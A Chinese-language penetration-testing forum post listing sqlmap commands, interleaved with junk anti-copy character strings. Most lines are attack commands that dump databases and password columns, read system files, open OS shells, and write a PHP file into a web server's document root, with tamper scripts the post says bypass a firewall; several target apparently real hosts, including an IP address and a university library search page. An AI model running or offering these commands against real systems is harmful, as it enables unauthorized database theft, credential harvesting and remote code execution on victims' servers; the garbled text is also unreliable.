中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap
; W* N! _- x* M( }
; U1 o, f% Z4 N' }8 z& n6 Y, @7 pupdate :::::>     in the folder   after  execute    following   order : svn update; `0 U! A# z! ]; S, z1 W- h3 o

2 j  k, X! s+ y( {& g# y9 Hsqlmap.py -r 1.txt --current-db
+ P; r$ T7 l, g: |  c9 Q6 ?- A; g3 z7 y; T# k: f
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”8 {% Y( h- n$ L

0 g  S: P9 \" `# N& Q: [==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 0 |# R; y7 O* b* A* N" {9 @
猜解数据库4 D% C! W+ r/ ?5 K! Q
./sqlmap.py -u "injection-url" --dbs+ Z! `2 I, x2 U/ s" {6 X
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"( H7 s/ L; M( L$ v0 |. U

3 o# x3 c$ z8 k  i% s. A& F- c' C猜解表名, k) ~6 n2 H4 l7 u
./sqlmap.py -u "injection-url" -D database_name --tables' d7 k$ c2 e& i' l+ d
4 [. k$ n/ P: K! ]' ?
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"# ]  x$ f9 c9 g  G2 R! G: j3 \. `
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
1 P; v, s& ^8 N8 g1 n0 G
* ^( G3 ~& P$ w  ysqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
+ |& w) G; O+ }+ ~" J- Y% C) e. L% T* M
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"9 C5 v1 f. O2 T
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"% A% n" P9 r, ~$ K- m+ Q
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" * }: S- G" L+ k+ B  f& \) N
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
$ O, C( P0 k5 r0 M; ^9 K
  l4 w8 d7 e& j' d+ @  b$ c/ Dsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py", L7 A8 E" u$ l# L3 }, [0 ^
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"7 _, W6 h  p5 r1 m) y% F
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"8 W6 |: \4 T, K: S* m( K6 K( ]9 E9 \
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
" e; ]  k, e; l! a! v- lsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
0 ?! i' V" D" z  J- f. J* c) F9 V6 p( r& T! |. B
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了+ S9 j  G, s* |' `* k" `
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py". a+ t. C! [0 u, o

) J7 W! D( U7 l. H0 }* X( J, G- rsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
* e2 p: y4 R% g猜解列名4 u# T$ q1 e8 |: i' p4 _
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns/ U: V; w5 I8 c9 T$ g/ j" v

3 g/ h' m, Y6 p( Osqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 6 F+ g# @3 @, C: z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 2 j* p3 I7 a  E- F
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
4 d- }7 T8 u5 X9 _
( R" M7 w: o# ~% Z% usqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
2 W* D" l( L5 [: T) L  R&submit=Go
2 n3 b/ r! H, p. ^2 z% _猜解值
' y  O7 h9 t; m8 f. f+ P6 D( v./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
7 a* I0 r# a$ N3 c5 `* u========================================================  R2 X: n) w- {4 N0 [7 ~
搜索表名中包括mana字符的. H, u4 X8 _0 S; ~- w/ h
/sqlmap.py -u "injection-url" -T mana --search, }+ R2 y3 [; {9 M. _
返回一个交互式sql shell8 P) D% Q( [" A. r7 b, c
/sqlmap.py -u "injection-url" --sql-shell% W9 Y# O, y/ r/ H6 ]; ?7 _/ G
读取指定文件(需权限)- f! D1 W' Y* D2 U1 O
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"0 p5 Q3 f8 Q5 T$ l6 T
查看当前 用户 及 数据库
+ b; u6 N, ^; M1 c  Q  x/sqlmap.py -u "injection-url" --current-user --current-db2 _" X* B' g  B, Y" U( i4 W" D* y: m
本地文件 写入 远程目标绝对路径
! T! D# N# x3 I  \/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径' m6 V& d4 X7 {+ ]& s* y7 ]
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" $ k& G' r5 K8 M+ I: a

3 j( a* D- }& E4 |% J. psqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
3 R) B( C) J$ z8 k0 c9 L查看某用的权限% e+ S2 `+ q: x& S. j7 C
/sqlmap.py -u "injection-url" --privileges -U root
9 R3 ?: J  q- P1 I" V" L查看当前用户是否为dba
6 R+ A* b; Y% Y9 b/sqlmap.py -u "injection-url" --is-dba
  b3 e" @, B7 `- f6 [9 ?( G读取所有数据库用户或指定数据库用户的密码- W" }- C  v  E% Y) r* |
sqlmap.py -r 1.txt --users --passwords) z+ C9 j3 ]5 I. ]# u$ S
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
/ `6 a7 o' x, Y5 e! W1 ?0 J
  q& r& m: t* X1 y7 q/ m! U4 ^/sqlmap.py -u "injection-url" --passwords -U root
0 J5 e: n* z/ h. Z
- X/ n& {( O' X6 z4 ?& p--start&&--stop 与 --first&&--last 的区别
* l! }3 [) ~4 S. ]4 y9 a4 q& x8 p/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
/ A3 w9 g& f9 T$ ~2 b' t: B' L0 q
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)! ~7 P) g$ S( i* q" [, b
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables, P& K+ j+ r( V. U5 r# x2 t
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns! B7 K' K& k( n, e# K

/ {3 q7 M  O; b7 t2 a! X执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
+ t: E: ?7 O. x$ @" O. m/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"' F( w6 ]0 M4 l# w- k
0 V0 A5 T5 V: F& f; n" q2 Z





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2